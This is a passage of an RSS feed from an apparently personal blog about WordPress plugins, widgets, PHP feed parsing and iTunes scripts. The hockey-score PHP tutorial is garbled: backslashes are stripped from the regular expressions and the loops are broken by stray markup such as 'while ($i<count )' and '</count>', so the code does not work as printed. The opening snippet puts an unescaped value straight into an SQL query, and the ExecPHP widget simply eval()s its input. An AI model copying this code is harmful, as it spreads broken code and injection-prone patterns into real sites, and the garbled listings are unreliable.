if ( !$link_rsses )
	wp_die(__('No links'));

foreach ($link_rsses as $rssurl)
{
	$feed = fetch_rss($rssurl);
	$mod = $feed->last_modified;
	if ($mod != null) {
		$modtime = strtotime($mod);
		$wpdb->query("UPDATE $wpdb->links SET link_updated = FROM_UNIXTIME($modtime) WHERE link_rss = '$rssurl'");
	}
}
?>
</pre>
<p>It&#8217;s a lot simpler than the old update-links.php, really.</p>
<p>Now, you need to find some way to run it every once in a while. If you&#8217;ve ever set a cron job up, you already know how to do this. You just need to make a cron job that loads http://example.com/blog/wp-admin/update-links.php every once in a while. However often you want to update. I recommend no more than once every 6 hours though, you&#8217;re pulling RSS feeds here. No need for extremes.</p>
<p>And that&#8217;s it. Change your sidebar to use &#8220;orderby=updated&#8221; and you&#8217;ll find that it works.</p>
<p>Future versions of Wordpress may or may not have this change, and may or may not have the need for an external cron job (still working on these).. But this works right now, it&#8217;s a minor thing to do, and it&#8217;s kinda fun to have anyway. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/how-to-make-wordpress-blogrolls-smarter/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<georss:point>35.1423950 -90.0558243</georss:point>
	</item>
		<item>
		<title>Enable Firefox spell checking in Wordpress 2.1</title>
		<link>http://ottodestruct.com/blog/2007/enable-firefox-spell-checking-in-wordpress-21/</link>
		<comments>http://ottodestruct.com/blog/2007/enable-firefox-spell-checking-in-wordpress-21/#comments</comments>
		<pubDate>Fri, 26 Jan 2007 06:44:01 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[2.1]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[spell-check]]></category>
		<category><![CDATA[spellcheck]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/01/26/enable-firefox-spell-checking-in-wordpress-21/</guid>
		<description><![CDATA[Important note: This plugin only applies to Wordpress 2.1 &#8211; 2.1.2. The fix is included in the 2.1.3 source by default, and this plugin will no longer be needed.
Edit: Yes, I&#8217;ve just looked at 2.1.3 (which was just released) and this fix is in there. Do not use this plugin with 2.1.3 and up.
Lots of [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/enable-firefox-spell-checking-in-wordpress-21/" type="box_count"></fb:share-button><p>Important note: This plugin only applies to Wordpress 2.1 &#8211; 2.1.2. The fix is included in the 2.1.3 source by default, and this plugin will no longer be needed.</p>
<p>Edit: Yes, I&#8217;ve just looked at 2.1.3 (which was just released) and this fix is in there. Do not use this plugin with 2.1.3 and up.</p>
<p>Lots of people like the new <a href="http://wordpress.org">Wordpress 2.1</a>, but I noticed several complaints over on the <a href="http://wordpress.org/support/topic/102491">Wordpress support forums</a> about the fact that the Firefox inline spell checking seems to not be working with the new editor.</p>
<p>I investigated, and it turns out to simply be one of the default settings of the version of <a href="http://tinymce.moxiecode.com/">TinyMCE </a>that is being used. Even though it has a spell check button, some people prefer Firefox&#8217;s automatic spell checking. I can understand that, I use it all the time myself.</p>
<p>Fortunately, Wordpress includes hooks for changing those TinyMCE settings, so it was a matter of a few minutes to create a plugin to deal with the issue.</p>
<p>Here&#8217;s a plugin to do just that. It&#8217;s simple to use, just upload to the plugins directory, then activate it in the Plugin panel. No configuration needed, it just turns the Firefox automatic spell checker back on in TinyMCE. Simple.</p>
<p><a href="http://ottodestruct.com/wpstuff/ffspell.zip" title="Download FFSpell">Download FFSpell</a></p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/enable-firefox-spell-checking-in-wordpress-21/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
	
	</item>
		<item>
		<title>Picasa Web Wordpress Widget</title>
		<link>http://ottodestruct.com/blog/2006/picasa-web-wordpress-widget/</link>
		<comments>http://ottodestruct.com/blog/2006/picasa-web-wordpress-widget/#comments</comments>
		<pubDate>Sat, 17 Jun 2006 23:21:54 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[picasa]]></category>
		<category><![CDATA[picasaweb]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/06/17/picasa-web-wordpress-widget/</guid>
		<description><![CDATA[THIS PLUGIN DOES NOT WORK ANYMORE. I doubt I&#8217;ll be updating it any time soon.
Playing around with my new Picasa Web access, I found the RSS feeds quite nice. So I made a widget for them.
Picasa Web Widget
Basically it puts a slideshow of photo thumbnails from one or more Picasa Web RSS feeds into your [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/picasa-web-wordpress-widget/" type="box_count"></fb:share-button><p>THIS PLUGIN DOES NOT WORK ANYMORE. I doubt I&#8217;ll be updating it any time soon.</p>
<p>Playing around with my new Picasa Web access, I found the RSS feeds quite nice. So I made a widget for them.</p>
<p><a href="http://ottodestruct.com/wpstuff/picasaweb.zip">Picasa Web Widget</a></p>
<p>Basically it puts a slideshow of photo thumbnails from one or more Picasa Web RSS feeds into your sidebar. You can click them to go to the photo&#8217;s page on Picasa Web. Uses divs and names and all that good CSS stuff to make styling them easy, if you want.</p>
<p>Enjoy!</p>
<p>&#8212;-</p>
<p>Update: Version 1.1 actually works now. <img src="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" alt=")" /></p>
<p>&#8212;-</p>
<p>Update: Version 1.2 now has four additional options. Now you can:<br />
-Turn javascript image rotation on/off.<br />
-Limit how many images will be rotated through.<br />
-Display more than just the one image.<br />
-Control whether or not the images are shown in a random order.</p>
<p>The image rotation script has also been corrected to work in both IE and Firefox (and probably others as well).</p>
<p>&#8212;-</p>
<p>Update: Version 1.3 adds Brian&#8217;s fix for filenames with unusual characters in them being in your web album.</p>
<p>&#8212;-</p>
<p>Update: Version 1.4<br />
- Output will now validate as valid XHTML. Should work all the time. Important note: Use the class for CSS styling of anything, the ID is only there when you are only showing one image.<br />
- Added the ability to display descriptions below the thumbnail. It even works with rotating images. <img src="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" alt=")" /><br />
- Fixed the case where you are showing multiple images in a non-random order.</p>
<p>&#8212;-</p>
<p>Update: Version 1.5 &#8211; Corrected a problem where it would only show the last feed when you give it multiple feeds.</p>
<p>&#8212;-</p>
<p>Update: Version 1.6 &#8211; Corrected some cases where the rotate images javascript would fail to work in certain scenarios.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/picasa-web-wordpress-widget/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
	</item>
		<item>
		<title>Fun with PHP and Wordpress</title>
		<link>http://ottodestruct.com/blog/2006/fun-with-php-and-wordpress/</link>
		<comments>http://ottodestruct.com/blog/2006/fun-with-php-and-wordpress/#comments</comments>
		<pubDate>Fri, 26 May 2006 07:21:05 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[exactscores]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[hockey]]></category>
		<category><![CDATA[parsing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[sidebar]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/05/26/fun-with-php-and-wordpress/</guid>
		<description><![CDATA[Guy over here asked how to display hockey scores on his blog. Here?s my solution?
Edit: Fixed a minor problem with the regular expression. Some of the soccer team names caused problems on that feed.
A quick googling tells me that exactscores.com seems to have feeds for scores for lots of stuff, however they also put horrible [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/fun-with-php-and-wordpress/" type="box_count"></fb:share-button><p>Guy over <a href="http://wordpress.org/support/topic/73750">here</a> asked how to display hockey scores on his blog. Here?s my solution?</p>
<p>Edit: Fixed a minor problem with the regular expression. Some of the soccer team names caused problems on that feed.</p>
<p>A quick googling tells me that exactscores.com seems to have feeds for scores for lots of stuff, however they also put horrible amounts of advertising into the RSS feed. Nevertheless, that can be worked around, if you want. <img src="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" alt=")" /></p>
<p>The actual score information in the feeds comes in the titles, and it looks like this:</p>
<p>(No)001/1 (BST+2h,Start at)03:00 (Home Team)EDM OILERS (Final)3-6 (Away Team)ANA MIGHTY DUCKS (Status)Finished (First Period)0-3 (Second Period)3-2 (Third Period)0-1 (Full Time)3-6 (Over Time)- (Penalties)- (Scorers)LUPUL(19)</p>
<p>Now, that is pretty ugly. But, at least it?s in a semi normalized format: (Key)Value? The Scorers at the end isn?t pretty, but we can deal with that later. Also, thankfully, the actual scores in all the ones I checked always start with (No), so we can use that to determine which bits of the feed are actual scores and which are not.</p>
<p>So here?s a simple script to retrieve a feed and then display only those bits that start with (No):</p>
<pre lang="php">
< ?php
require_once(ABSPATH . WPINC . '/rss-functions.php');
$rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
echo '
<ul>';
foreach ($rss->items as $item ) {
	if (preg_match('/^(No).*/i',$item['title']))
		echo '
<li>'.$item['title'].'</li>

';
}
echo '';
?>
</pre>
<p>Obviously, the output of this is ugly, but it proves that we?re only getting scores out of the feed.</p>
<p>So, now we need to parse that string and get more useful data out of it. Here?s where preg_split and some rather disturbing regular expression syntax is your friend?</p>
<pre lang="php">
$uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/',
	$item['title'], -1, PREG_SPLIT_DELIM_CAPTURE);</pre>
<p>I called it $uglyscores for a reason. This returns an array with the bits of the scores nicely parsed out, but because of the regular expression I used, there?s a blank string between each pair of data, so let?s reformat this mess into something nicer:</p>
<pre lang="php">
$i=1; // skip the first element
$scores = array();
while ($i<count ) {
	$scores[$uglyscores[$i]]=$uglyscores[$i+1];
	$i+=3; // skip the blank separator
}</pre>
<p>This gives us a nice array of elements that we can then reference by the key names. So we can use stuff like $scores[?Final?] and such.</p>
<p>So now that we don?t have to display everything, let?s put it all together. Here?s a combination of all of the above that outputs the two teams and the final score only:</p>
<pre lang="php">
< ?php
require_once(ABSPATH . WPINC . '/rss-functions.php');
$rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
echo '
<ul>';
foreach ($rss->items as $item ) {
if (preg_match('/^(No).*/i',$item['title'])) {
	echo '
<li>';
	$uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/',
		$item['title'],-1,PREG_SPLIT_DELIM_CAPTURE);
	$i=1; // skip the first element
	$scores = array();
	while ($i<count ) {
		$scores[$uglyscores[$i]]=$uglyscores[$i+1];
		$i+=3; // skip the blank separator
	}
	echo "Home Team: ".$scores["Home Team"]."";
	echo "Away Team: ".$scores["Away Team"]."";
	echo "Final Score: ".$scores["Final"];
	echo '</li>

';
	}
}
echo '';
?>
</count></li>
</pre>
<p>And there you have it. If you want to display different information, just modify the stuff in those echo lines towards the end.</p>
<p>The key is finding the RSS feed with the data you?re interested in. Once you have that, it?s usually fairly straightforward to parse it and redisplay it nicely. <img src="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" alt=")" /></count></pre>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/fun-with-php-and-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
	</item>
		<item>
		<title>30boxes Widget</title>
		<link>http://ottodestruct.com/blog/2006/30boxes-widget/</link>
		<comments>http://ottodestruct.com/blog/2006/30boxes-widget/#comments</comments>
		<pubDate>Fri, 28 Apr 2006 21:44:33 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[30boxes]]></category>
		<category><![CDATA[BBQ]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[nosoapradio]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/04/28/30boxes-widget/</guid>
		<description><![CDATA[Narendra Rocherolle asked me to convert the Google Calendar widget into a 30boxes capable widget. No problem, it only took like 10 minutes.
So if you use 30boxes and want a nice and simple Wordpress Widget for displaying events on your calendar, well, here you go: 30boxes Widget
This is, of course, a first stab at it [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/30boxes-widget/" type="box_count"></fb:share-button><p><a href="http://www.nosoapradio.org/">Narendra Rocherolle</a> asked me to convert the <a href="http://ottodestruct.com/blog/2006/04/18/google-calendar-widget/">Google Calendar widget</a> into a 30boxes capable widget. No problem, it only took like 10 minutes.</p>
<p>So if you use <a href="http://30boxes.com">30boxes</a> and want a nice and simple Wordpress Widget for displaying events on your calendar, well, here you go: <a href="http://ottodestruct.com/wpstuff/30boxes.zip">30boxes Widget</a></p>
<p>This is, of course, a first stab at it only. I can and probably will add more functionality to it (like start and end dates). But that can wait until later. Right now I need <a href="http://www.bealestreet.com">BBQ</a>! <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt='D' /></p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/30boxes-widget/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_biggrin.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_biggrin.gif" medium="image">
			<media:title type="html">D</media:title>
		</media:content>
	</item>
		<item>
		<title>Coastr Widget</title>
		<link>http://ottodestruct.com/blog/2006/coastr-widget/</link>
		<comments>http://ottodestruct.com/blog/2006/coastr-widget/#comments</comments>
		<pubDate>Fri, 28 Apr 2006 02:17:57 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/04/27/coastr-widget/</guid>
		<description><![CDATA[Ran across Coastr yesterday while I was reading some blogs about beer. It&#8217;s kinda nifty. Very simple app. It lets you put what beers you like to drink and where you like to drink them and tells you other people who have similar tastes. The idea being that maybe you can find some new beers [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/coastr-widget/" type="box_count"></fb:share-button><p>Ran across <a href="http://coastr.com">Coastr</a> yesterday while I was reading some blogs about beer. It&#8217;s kinda nifty. Very simple app. It lets you put what beers you like to drink and where you like to drink them and tells you other people who have similar tastes. The idea being that maybe you can find some new beers by looking at what other people who are similar to you like.</p>
<p>I made a post on the guys blog about adding RSS feeds for the individual users, and to my surprise, he had it up and going the next morning. Very cool.</p>
<p>So naturally, I made a widget for it. You can see it in my ever-growing sidebars somewhere (bottom right, at the moment).</p>
<p>And so here it is: The <a href="http://ottodestruct.com/wpstuff/coastr.zip">Coastr Widget</a>.</p>
<p>Update: Version 1.1 adds some code to handle the beer names and such properly, so it won&#8217;t cause validation errors on your blog anymore.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/coastr-widget/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
	</item>
		<item>
		<title>Google Calendar Widget</title>
		<link>http://ottodestruct.com/blog/2006/google-calendar-widget/</link>
		<comments>http://ottodestruct.com/blog/2006/google-calendar-widget/#comments</comments>
		<pubDate>Wed, 19 Apr 2006 01:35:58 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/04/18/google-calendar-widget/</guid>
		<description><![CDATA[Note: This widget does NOT work with WordPress 2.1 and up. Don&#8217;t bother trying.
&#8212;&#8212;&#8212;&#8212;
I created a new widget for my blog. It&#8217;s a simple little thing that shows stuff from my Google Calendar. You can find it as my &#8220;Upcoming Events&#8221; sidebar, bottom left. Okay, so it doesn&#8217;t have much there yet, I need to [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/google-calendar-widget/" type="box_count"></fb:share-button><p>Note: This widget does NOT work with WordPress 2.1 and up. Don&#8217;t bother trying.</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p>I created a new widget for my blog. It&#8217;s a simple little thing that shows stuff from my Google Calendar. You can find it as my &#8220;Upcoming Events&#8221; sidebar, bottom left. Okay, so it doesn&#8217;t have much there yet, I need to add stuff to the calendar. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=')' /> </p>
<p>Anyway, here&#8217;s a link to it: <a href="http://ottodestruct.com/wpstuff/gcalendar.zip">gcalendar</a></p>
<p>If anybody has any suggestions on improving it, I&#8217;d love to hear &#8216;em.</p>
<p>&#8212;&#8212;&#8211;</p>
<p>Note: I&#8217;ve updated the widget to use Google&#8217;s Calendar API properly. But in order to do that, I had to modify Wordpress&#8217;s built in MagpieRSS functions rather heavily. So read the readme.txt file for installation instructions before attempting to use it. Failure to install correctly will break your blog. Heck, it might do that anyway. So read carefully. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=')' /></p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/google-calendar-widget/feed/</wfw:commentRss>
		<slash:comments>63</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
	</item>
		<item>
		<title>iTunes Explicit Lyrics tagging</title>
		<link>http://ottodestruct.com/blog/2006/itunes-explicit-lyrics-tagging/</link>
		<comments>http://ottodestruct.com/blog/2006/itunes-explicit-lyrics-tagging/#comments</comments>
		<pubDate>Tue, 11 Apr 2006 08:40:18 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[explicit]]></category>
		<category><![CDATA[ipod]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[lyrics]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[smart-playlist]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/04/11/itunes-explicit-lyrics-tagging/</guid>
		<description><![CDATA[Over in the comments of my EvilLyrics post, somebody asked for this script. It seems like people might find it handy, so here you go: explicit.txt
It will search the lyrics of all the songs in iTunes for &#8220;bad words&#8221; and flag those tracks as Explicit by adding the word &#8220;Explicit&#8221; to the end of the [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/itunes-explicit-lyrics-tagging/" type="box_count"></fb:share-button><p>Over in the comments of my EvilLyrics post, somebody asked for this script. It seems like people might find it handy, so here you go: <a title="Explicit Lyrics Tag Script" href="http://ottodestruct.com/itunes/explicit.txt">explicit.txt</a></p>
<p>It will search the lyrics of all the songs in iTunes for &#8220;bad words&#8221; and flag those tracks as Explicit by adding the word &#8220;Explicit&#8221; to the end of the comments in the track.</p>
<p>Now, I have no use for this personally, but I can see where some people might. One thing you will have to do in order to use it is to edit it and define what you consider to be a &#8220;bad word&#8221;. Just after halfway through the script, there&#8217;s a section that looks like this:</p>
<p>badword1|badword2|badword3</p>
<p>Change that to define everything you consider to be a bad word. To use George Carlin&#8217;s famous example: shit|piss|fuck|cunt|cocksucker|motherfucker|tits</p>
<p>Just add as many words as you like, then run it like all the rest of these iTunes Javascripts. It&#8217;s reasonably smart and won&#8217;t tag a track as Explicit if the word Explicit is already in the comments.</p>
<p>You could use this for Smart Playlists, to make &#8220;clean&#8221; playlists, or to make &#8220;not so clean&#8221; playlists. Whatever you like. You could do that without this script too, but this makes it a bit easier.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/itunes-explicit-lyrics-tagging/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
	</item>
		<item>
		<title>Fun with Widgets</title>
		<link>http://ottodestruct.com/blog/2006/fun-with-widgets/</link>
		<comments>http://ottodestruct.com/blog/2006/fun-with-widgets/#comments</comments>
		<pubDate>Mon, 10 Apr 2006 02:14:53 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[adsense]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2006/04/09/fun-with-widgets/</guid>
		<description><![CDATA[Note: The ExecPHP widget does not work in the upcoming WordPress 2.5. Therefore, if you upgrade to 2.5, you will need to install the updated version of this widget. It can be found here, now and forever more: http://wordpress.org/extend/plugins/php-code-widget/
A new plugin for Wordpress came out that&#8217;s kinda cool. It&#8217;s called Widgets, and the general idea [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/fun-with-widgets/" type="box_count"></fb:share-button><p>Note: The ExecPHP widget does not work in the upcoming WordPress 2.5. Therefore, if you upgrade to 2.5, you will need to install the updated version of this widget. It can be found here, now and forever more: <a href="http://wordpress.org/extend/plugins/php-code-widget/" title="PHP Code Widget">http://wordpress.org/extend/plugins/php-code-widget/</a></p>
<p>A new plugin for Wordpress came out that&#8217;s kinda cool. It&#8217;s called Widgets, and the general idea of it is to make the sidebars on your blog a bit more configurable, a bit more easily.</p>
<p>So, I decided to spend an hour or so converting my sidebars to Widgets so I could manage them a bit simpler. Editing PHP code is easy but time consuming, while dragging stuff and dropping it to rearrange the blog, well, that&#8217;s quick and easy.</p>
<p>Few things I learned:</p>
<ol>
<li>The Widgets Plugin does not like Windows. Since I run this site on a Windows box (edit: I did then, I don&#8217;t anymore, and anyway, they have fixed this problem since then), it needed some tweaking to make it work. For those who want to know, the problem is in the sidebar_admin_setup() function in widgets.php. More info on this problem is in the comments of this post.</li>
<li>Text boxes are extremely useful when converting from your existing customized webpage to a widgets based one, as you can simply cut and paste chunks of HTML into them and voila, you&#8217;ve got a sidebar widget. However, there&#8217;s not a lot of text widgets available. If you need more text widgets, you will need to edit these functions: widget_text_setup(), widget_text_page(), and widget_text_register(). As it turned out, I didn&#8217;t need but 4 text widgets because:</li>
<li>Despite how useful text boxes were for a quick migration, they were not enough.</li>
</ol>
<p>So, I ended up writing two plugins of my own.</p>
<p>The first one is a Google AdSense plugin.  You can download it here: <a href="http://ottodestruct.com/wpstuff/gadsense.zip" title="gadsense.zip">gadsense.zip</a>. It&#8217;s exactly the same as the Text widgets, but with (very) minor tweaks specifically for inserting Google Ads in the sidebars. Also, it shows a name of &#8220;Google AdSense&#8221; in the widgets panel, which is nice. Like the Text widget, you can have more than 1 of them, but unlike the Text widget, you can only have 4 of them, since Google&#8217;s TOS only allows 3 ads and 1 link block on a page.</p>
<p>The next one is also like the Text plugin, however it will also let you put PHP code into the text and have it actually work. Here&#8217;s the download: <a href="http://ottodestruct.com/wpstuff/execphp.zip" title="execphp.zip">execphp.zip</a>. Like the Text plugin, you can have up to 9 of them (more if you want to tweak the code). Note that any PHP code you put into the widget MUST be surrounded by &lt;?php and ?&gt; tags, just like writing PHP normally. Also note that this is isn&#8217;t exactly safe, as it&#8217;s just doing an eval() on whatever you put in there, so you have complete and full access, as does anybody else who can get to your admin screen. Still, it&#8217;s very useful.</p>
<p>Both of those are plugins. Just drop them in the widgets folder under the plugins folder, and activate them on the plugins screen. Then the widgets will be available for you to use on the widgets screen.</p>
<p>Hope these help somebody. They sure helped me. <img src="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" alt=")" /></p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/fun-with-widgets/feed/</wfw:commentRss>
		<slash:comments>196</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">)</media:title>
		</media:content>
	</item>
		<item>
		<title>iTunes SaveRatings Script</title>
		<link>http://ottodestruct.com/blog/2006/itunes-saveratings-script/</link>
		<comments>http://ottodestruct.com/blog/2006/itunes-saveratings-script/#comments</comments>
		<pubDate>Fri, 03 Feb 2006 13:54:15 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[hta]]></category>
		<category><![CDATA[html application]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[saveratings]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=215</guid>
		<description><![CDATA[Made this useful little doo-hickey a while back. It lets you save and restore the ratings from iTunes. Handy for moving stuff around from machine to machine.
http://ottodestruct.com/itunes/SaveRatings.zip
]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2006/itunes-saveratings-script/" type="box_count"></fb:share-button><p>Made this useful little doo-hickey a while back. It lets you save and restore the ratings from iTunes. Handy for moving stuff around from machine to machine.</p>
<p><a href="http://ottodestruct.com/itunes/SaveRatings.zip">http://ottodestruct.com/itunes/SaveRatings.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2006/itunes-saveratings-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>iTunes Javascripts</title>
		<link>http://ottodestruct.com/blog/2005/itunes-javascripts/</link>
		<comments>http://ottodestruct.com/blog/2005/itunes-javascripts/#comments</comments>
		<pubDate>Thu, 20 Oct 2005 17:01:27 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[album]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[artwork]]></category>
		<category><![CDATA[dead-tracks]]></category>
		<category><![CDATA[ipod]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[lyrics]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tracks]]></category>
		<category><![CDATA[windows-scripting-host]]></category>
		<category><![CDATA[wscript]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2005/10/20/itunes-javascripts/</guid>
		<description><![CDATA[Somebody on digg mentioned AppleScripting iTunes on the Mac, but it seems to be less well known that you can write Javascripts or VBScripts for iTunes for Windows.
So, here&#8217;s a bunch of scripts I&#8217;ve written for various tasks:

Creates a playlist of all the songs in the library with no artwork: http://ottodestruct.com/itunes/NoArtPlaylist.txt
Creates a playlist of all [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2005/itunes-javascripts/" type="box_count"></fb:share-button><p>Somebody on digg mentioned AppleScripting iTunes on the Mac, but it seems to be less well known that you can write Javascripts or VBScripts for iTunes for Windows.<br />
So, here&#8217;s a bunch of scripts I&#8217;ve written for various tasks:</p>
<ul>
<li>Creates a playlist of all the songs in the library with no artwork: <a href="http://ottodestruct.com/itunes/NoArtPlaylist.txt">http://ottodestruct.com/itunes/NoArtPlaylist.txt</a></li>
<li>Creates a playlist of all the songs in the library with no lyrics: <a href="http://ottodestruct.com/itunes/NoLyricsPlaylist.txt">http://ottodestruct.com/itunes/NoLyricsPlaylist.txt</a></li>
<li>Creates a playlist of all the songs in the library of which you only have one of them by that artist (one hit wonders): <a href="http://ottodestruct.com/itunes/onehitwonders.txt">http://ottodestruct.com/itunes/onehitwonders.txt</a></li>
